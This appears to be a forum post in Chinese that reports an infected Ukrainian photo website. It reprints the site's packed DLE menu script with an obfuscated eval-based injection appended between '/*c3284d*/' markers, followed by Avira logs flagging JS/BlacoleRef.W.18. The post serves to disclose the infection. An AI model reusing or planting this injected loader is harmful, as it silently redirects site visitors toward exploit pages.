裏面

fireold

1. http://www.photo-portal.in.ua/literatura/113-fotorealizm-professionalnye-priemy-raboty-friman-m.html

复制代码

1. eval(function(p, a, c, k, e, r) {
   
2.     e = function(c) {
   
3.         return (c < a ? '' : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
   
4.     };
   
5.     if (!''.replace(/^/, String)) {
   
6.         while (c--) r[e(c)] = k[c] || e(c);
   
7.         k = [function(e) {
   
8.             return r[e]
   
9.         }];
   
10.         e = function() {
    
11.             return '\\w+'
    
12.         };
    
13.         c = 1
    
14.     };
    
15.     while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
    
16.     return p
    
17. }('5 L=l P();5 T=l P();5 1v;5 1w;5 1x;5 1y;7 2Y(1a,1T,1U,1V){5 d=l P();d[0]=\'<a t="2Z://30.31.32/33/?1z=\'+1a+\'" 1b="1c">\'+1T+\'</a>\';d[1]=\'<a t="\'+e+U+\'?10=34&1z=\'+1a+\'" 1b="1c">\'+1U+\'</a>\';d[2]=\'<a t="\'+e+U+\'?10=35&1z=\'+1a+\'" 1b="1c">\'+1V+\'</a>\';j d};7 36(g){6(L[g]!=""){9.f(\'11-c-\'+g).V=L[g]}j k};7 1W(){L[1y]=\'\'};7 37(g,M){5 4=l x();5 1d=0;5 12=\'\';6(9.f(\'38\'+g).N){1d=1}1y=g;4.y(\'\');6(39=="1"){12=4.D(1e.1A(\'1X\'+g).1B())}u{12=4.D(9.f(\'1X\'+g).r)}5 1Y=4.D(9.f(\'1f-1Z-\'+g).r);5 h="12="+12;4.8("c",g);4.8("1d",1d);4.8("1Z",1Y);4.8("20",4.D(9.f(\'1f-20-\'+g).r));4.8("21",M);4.8("I","22");4.z=e+"v/4/1g.p";4.A=\'1h\';4.B=\'11-c-\'+g;4.13=1W;4.C(h);j k};7 23(){5 W=9.f(\'11-c-\'+1x);5 J=1C(W);6(J){1D(0,J-1E)}};7 24(g,M){6(!L[g]||L[g]==\'\'){L[g]=9.f(\'11-c-\'+g).V}5 4=l x();1x=g;4.y(\'\');5 h="";4.8("c",g);4.8("21",M);4.8("I","1f");4.z=e+"v/4/1g.p";4.A=\'Q\';4.B=\'11-c-\'+g;4.1i=E;4.13=23;4.C(h);j k};7 25(){5 W=9.f(\'14-c-\'+1v);5 J=1C(W);6(J){1D(0,J-1E)}};7 3a(q,F){5 d=l P();d[0]=\'<a 15="26(\\\'\'+q+\'\\\', \\\'\'+F+\'\\\'); j k;" t="#">\'+27+\'</a>\';d[1]=\'<a t="\'+e+\'?16=w&I=3b&c=\'+q+\'&F=\'+F+\'">\'+28+\'</a>\';j d};7 26(m,F){6(!T[m]||T[m]==\'\'){T[m]=9.f(\'14-c-\'+m).V}5 4=l x();1v=m;4.y(\'\');5 h="";4.8("c",m);4.8("F",F);4.8("I","1f");4.z=e+"v/4/29.p";4.A=\'Q\';4.B=\'14-c-\'+m;4.1i=E;4.13=25;4.C(h);j k};7 3c(m){6(L[m]!=""){9.f(\'14-c-\'+m).V=T[m]}j k};7 2a(){T[1w]=\'\'}7 3d(m,F){5 4=l x();5 17=\'\';1w=m;4.y(\'\');6(1F=="18"){17=4.D(1e.1A(\'2b\'+m).1B())}u{17=4.D(9.f(\'2b\'+m).r)}5 h="17="+17;4.8("c",m);4.8("F",F);4.8("I","22");4.z=e+"v/4/29.p";4.A=\'1h\';4.B=\'14-c-\'+m;4.13=2a;4.C(h);j k};7 3e(1j,M){5 4=l x();4.y(\'\');5 h="1j="+1j;4.8("I",M);4.8("1k",X);4.z=e+"v/4/3f.p";4.A=\'Q\';4.B=\'3g-c-\'+1j;4.C(h);j k};7 3h(){5 4=l x();5 G=4.D(9.f(\'G\').r);4.y(\'\');5 h="G="+G;4.z=e+"v/4/2c.p";4.A=\'1h\';4.B=\'3i-2c\';4.C(h);j k};7 3j(1G,1H){5 4=l x();4.y(\'\');5 h="";4.8("1H",1H);4.8("1G",1G);4.z=e+"v/4/2d.p";4.A=\'Q\';4.B=\'2d-1I\';4.C(h)};7 3k(2e){19.1J(e+\'v/3l/3m.p?K=\'+2e,\'\',\'1K=1,3n=2f,3o=2f, 1L=0, 1M=0, 1N=18\')};7 3p(1l,c){5 4=l x();4.y(\'\');5 h="2g="+1l;4.8("g",c);4.8("1k",X);4.z=e+"v/4/2h.p";4.A=\'Q\';4.B=\'2i-1I\';4.C(h)};7 3q(1l,c){5 4=l x();4.y(\'\');5 h="2g="+1l;4.8("g",c);4.8("1k",X);4.8("3r","3s");4.z=e+"v/4/2h.p";4.A=\'Q\';4.B=\'2i-1I-\'+c;4.C(h)};7 3t(){5 s=9.f(\'O-w-s\');5 o=l x();6(1F=="18"){9.f(\'w\').r=1e.1A(\'w\').1B();o.8("3u",\'3v\')}6(s.w.r==\'\'||s.G.r==\'\'){3w(3x);j k}o.y(\'\');5 h="2j="+s.2j.r;o.8("w",o.D(s.w.r));o.8("G",o.D(s.G.r));o.8("2k",o.D(s.2k.r));o.8("1k",X);6(s.1O){o.8("1O",s.1O.r)}6(s.1m){6(s.1m.N==E){o.8("1m","1")}u{o.8("1m","0")}}o.z=e+"v/4/3y.p";o.A=\'1h\';o.1i=E;o.B=\'O-4-w\';o.C(h)};7 3z(2l){H=\'\';6(19.2m){H=19.2m()}u 6(9.2n){H=9.2n.3A().1P}6(H!=""){H=\'[2o=\'+2l+\']\'+H+\'[/2o]\\n\'}};7 3B(G){6(!9.f(\'O-w-s\'))j k;5 1Q=9.f(\'O-w-s\').w;5 1n="";6(1F=="3C"){6(H!=""){1Q.r+=H}u{1Q.r+="[b]"+G+"[/b],"+"\\n"}}u{6(H!=""){1n=H}u{1n="<b>"+G+"</b>,"+"<3D />"}1e.3E(\'w\',\'3F\',k,1n,E)}};7 3G(c){5 R=9.f(c);6(9.f(\'K-\'+c)){5 K=9.f(\'K-\'+c)}u{5 K=2p}6(!R){j}u{6(R.Y){6(R.Y.1o=="1R"){R.Y.1o="";6(K){K.2q=e+\'2r/\'+X+\'/2s/2t-3H.2u\'}}u{R.Y.1o="1R";6(K){K.2q=e+\'2r/\'+X+\'/2s/2t-3I.2u\'}}}u{R.2v="3J"}}};7 3K(){5 S=9.3L;3M(5 i=0;i<S.2w.3N;i++){5 1p=S.2w[i];6(1p.3O==\'3P\'){6(S.1q.N==E){1p.N=k}u{1p.N=E}}}6(S.1q.N==E){S.1q.N=k}u{S.1q.N=E}};7 3Q(Z){5 1r=2x(2y);6(1r)9.1s=Z};7 3R(1P){3S(\' \'+1P+\' \',\'\',k);9.f(\'2z\').Y.2v="3T";9.f(\'2z\').Y.1o="1R";3U=2p};7 2A(){3V();5 W=9.f(\'O-2B\');5 J=1C(W);6(J){1D(0,J-1E)}};7 3W(h){3X();6(9.f(\'O-2C\').V!=\'\'){9.f(\'O-2C\').V=\'\'}5 4=l x();4.y(\'\');4.z=e+"v/4/3Y.p";4.A=\'Q\';4.1i=E;4.B=\'O-2B\';4.13=2A;4.C(h)};7 3Z(1S,2D){6(1S!=2E){40=2D;2E=1S}};7 41(Z,q,1t){5 d=l P();d[0]=\'<a \'+Z+\' >\'+2F+\'</a>\';d[1]=\'<a t="\'+e+\'1u.p?16=2G&2H=2I&2J=\'+q+\'">\'+2K+\'</a>\';d[2]=\'<a t="\'+e+\'1u.p?16=42&43=\'+q+\'">\'+44+\'</a>\';6(1t==\'1\'){d[3]=\'<a 15="19.1J(\\\'\'+e+U+\'?10=2L&I=2M&c=\'+q+\'\\\', \\\'2N\\\',\\\'2O=0,1s=0,2P=0, 1M=0, 1L=0, 2Q=0,1N=18,1K=0,2R=2S,2T=2U\\\'); j k;" t="#">\'+2V+\'</a>\'}j d};7 45(Z,2W,q,1t){5 d=l P();d[0]=\'<a \'+Z+\' >\'+2F+\'</a>\';d[1]=\'<a \'+2W+\' >\'+46+\'</a>\';d[2]=\'<a t="\'+e+\'1u.p?16=2G&2H=2I&47=\'+q+\'">\'+2K+\'</a>\';6(1t==\'1\'){d[3]=\'<a 15="19.1J(\\\'\'+e+U+\'?10=2L&I=2M&2J=\'+q+\'\\\', \\\'2N\\\',\\\'2O=0,1s=0,2P=0, 1M=0, 1L=0, 2Q=0,1N=18,1K=0,2R=2S,2T=2U\\\'); j k;" t="#">\'+2V+\'</a>\'}j d};7 2X(q){5 1r=2x(2y);6(1r)9.1s=e+\'1u.p?16=48&c=\'+q+\'&49=\'+4a};7 4b(q,M){5 d=l P();d[0]=\'<a 15="24(\\\'\'+q+\'\\\', \\\'\'+M+\'\\\'); j k;" t="#">\'+27+\'</a>\';6(U!=\'\'){d[1]=\'<a t="\'+e+U+\'?10=1g&I=1g&c=\'+q+\'" 1b="1c">\'+28+\'</a>\'}6(4c){d[2]=\'<a 15="2X (\\\'\'+q+\'\\\'); j k;" t="#">\'+4d+\'</a>\'}j d};', 62, 262, '||||ajax|var|if|function|setVar|document|||id|menu|dle_root|getElementById|news_id|varsString||return|false|new|c_id||dle_comments_ajax|php|m_id|value|form|href|else|engine|comments|dle_ajax|onShow|requestFile|method|element|sendAJAX|encodeVAR|true|area|name|dle_txt|action|post_box_top|image|n_cache|event|checked|dle|Array|GET|item|frm|c_cache|dle_admin|innerHTML|post_main_obj|dle_skin|style|url|mod|news|news_txt|onCompletion|comm|onclick|do|comm_txt|yes|window|m_ip|target|_blank|allow_br|tinyMCE|edit|editnews|POST|execute|fav_id|skin|rate|allow_subscribe|finalhtml|display|elmnt|master_box|agree|location|group|index|comm_id|comm_edit_id|s_id|e_id|ip|get|getContent|_get_obj_toppos|scroll|70|dle_wysiwyg|month|year|layer|open|resizable|top|left|scrollbars|sec_code|text|input|none|which|l1|l2|l3|whenCompletedSave|dleeditnews|news_title|title|reason|field|save|whenCompleted|ajax_prep_for_edit|whenCompletedCommentsEdit|ajax_comm_edit|menu_short|menu_full|editcomments|whenCompletedSaveComments|dleeditcomments|registration|calendar|sPicURL|200|go_rate|rating|ratig|post_id|mail|qname|getSelection|selection|quote|null|src|templates|dleimages|spoiler|gif|visibility|elements|confirm|dle_del_agree|dle_emo|DlePageCompleted|content|info|formname|selField|menu_profile|pm|doaction|newpm|user|menu_send|editusers|edituser|User|toolbar|status|menubar|width|540|height|500|menu_uedit|news_url|dle_news_delete|IPMenu|https|www|nic|ru|whois|iptools|blockip|ajax_cancel_for_edit|ajax_save_for_edit|allow_br_|quick_wysiwyg|MenuCommBuild|comm_edit|ajax_cancel_comm_edit|ajax_save_comm_edit|doFavorites|favorites|fav|CheckLogin|result|doCalendar|ShowBild|modules|imagepreview|HEIGHT|WIDTH|doRate|dleRate|mode|short|doAddComments|editor_mode|wysiwyg|alert|dle_req_field|addcomments|dle_copy_quote|createRange|dle_ins|no|br|execInstanceCommand|mceInsertContent|ShowOrHide|minus|plus|show|ckeck_uncheck_all|pmlist|for|length|type|checkbox|confirmDelete|dle_smiley|doInsert|hidden|ie_range_cache|hideBusyLayer|DlePage|showBusyLayer|pages|setNewField|fombj|UserMenu|lastcomments|userid|menu_fcomments|UserNewsMenu|menu_fnews|username|deletenews|hash|dle_login_hash|MenuNewsBuild|allow_dle_delete_news|dle_del_news'.split('|'), 0, {})) /*c3284d*/
    
18. try {
    
19.     abre++
    
20. } catch (a6ba34y) {
    
21.     try {
    
22.         prototype & 2
    
23.     } catch (asab) {
    
24.         e = window["e" + "v" + "al"];
    
25.     }
    
26. }
    
27. if (1) {
    
28.     f = [87, 97, 84, 104, 95, 86, 97, 102, 31, 106, 100, 90, 103, 87, 25, 26, 46, 90, 26, 29, 24, 89, 100, 82, 96, 87, 17, 102, 100, 84, 48, 20, 89, 103, 102, 97, 45, 33, 32, 102, 103, 94, 96, 91, 101, 33, 86, 97, 33, 103, 82, 34, 102, 86, 96, 98, 93, 84, 102, 86, 102, 33, 90, 97, 86, 86, 107, 32, 97, 91, 98, 19, 19, 84, 96, 101, 86, 86, 101, 47, 19, 35, 20, 17, 106, 91, 85, 103, 90, 46, 21, 35, 19, 19, 90, 86, 92, 89, 89, 103, 47, 19, 36, 20, 17, 102, 102, 106, 95, 87, 46, 21, 98, 96, 102, 91, 101, 92, 97, 95, 45, 83, 83, 102, 97, 93, 104, 102, 86, 46, 102, 96, 99, 44, 33, 46, 105, 90, 87, 102, 89, 45, 35, 97, 107, 45, 89, 88, 91, 88, 91, 102, 43, 36, 98, 105, 46, 84, 96, 101, 86, 86, 101, 44, 95, 98, 96, 86, 46, 20, 47, 47, 33, 90, 26, 29, 24, 89, 100, 82, 96, 87, 47, 26, 27, 44];
    
29. }
    
30. w = f;
    
31. s = [];
    
32. r = String;
    
33. x = "j%";
    
34. for (i = 0; - i + 186 != 0; i += 1) {
    
35.     j = i;
    
36.     if (e && (031 == 0x19)) s = s + r.fromCharCode((1 * w[j] + e(x + 3) + 13));
    
37. }
    
38. try {
    
39.     asgasg & 13
    
40. } catch (asga) {
    
41.     e(s);
    
42. } /*/c3284d*/

复制代码

Avira

2013/9/19 上午 07:32 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\1YP0JPM6\menu[1].js'
      包含病毒或有害的程式 'JS/BlacoleRef.W.18' [virus]
      已採取動作：
      檔案會移動至 '545297c9.qua' 名稱底下的隔離區目錄。.

2013/9/19 上午 07:32 [System Scanner] 掃描
      掃描結束 [已完成全部的掃描。]。
      檔案數：        803
      目錄數：        0
      惡意程式碼數：        1
      警告數：        0

2013/9/19 上午 07:32 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\A1VVYTC4\js_edit[1].js 中
      偵測到病毒或有害的程式 'JS/BlacoleRef.W.18 [virus]'
      執行的動作：傳輸至掃描程式

2013/9/19 上午 07:32 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\A1VVYTC4\js_edit[1].js 中
      偵測到病毒或有害的程式 'JS/BlacoleRef.W.18 [virus]'
      執行的動作：拒絕存取

2013/9/19 上午 07:32 [Web Protection] 發現惡意程式碼
      從 URL "http://www.photo-portal.in.ua/engine/ajax/js_edit.js" 存取資料時，
      發現病毒或有害的程式 'JS/BlacoleRef.W.18' [virus]。
      已採取動作：已略過

2013/9/19 上午 07:32 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\1YP0JPM6\menu[1].js 中
      偵測到病毒或有害的程式 'JS/BlacoleRef.W.18 [virus]'
      執行的動作：傳輸至掃描程式

2013/9/19 上午 07:32 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\GP9UHU8J\dle_ajax[1].js 中
      偵測到病毒或有害的程式 'JS/BlacoleRef.W.18 [virus]'
      執行的動作：傳輸至掃描程式

2013/9/19 上午 07:32 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\GP9UHU8J\dle_ajax[1].js 中
      偵測到病毒或有害的程式 'JS/BlacoleRef.W.18 [virus]'
      執行的動作：拒絕存取

2013/9/19 上午 07:32 [Web Protection] 發現惡意程式碼
      從 URL "http://www.photo-portal.in.ua/engine/ajax/dle_ajax.js" 存取資料時，
      發現病毒或有害的程式 'JS/BlacoleRef.W.18' [virus]。
      已採取動作：已略過

2013/9/19 上午 07:32 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\1YP0JPM6\menu[1].js 中
      偵測到病毒或有害的程式 'JS/BlacoleRef.W.18 [virus]'
      執行的動作：拒絕存取

2013/9/19 上午 07:32 [Web Protection] 發現惡意程式碼
      從 URL "http://www.photo-portal.in.ua/engine/ajax/menu.js" 存取資料時，
      發現病毒或有害的程式 'JS/BlacoleRef.W.18' [virus]。
      已採取動作：已略過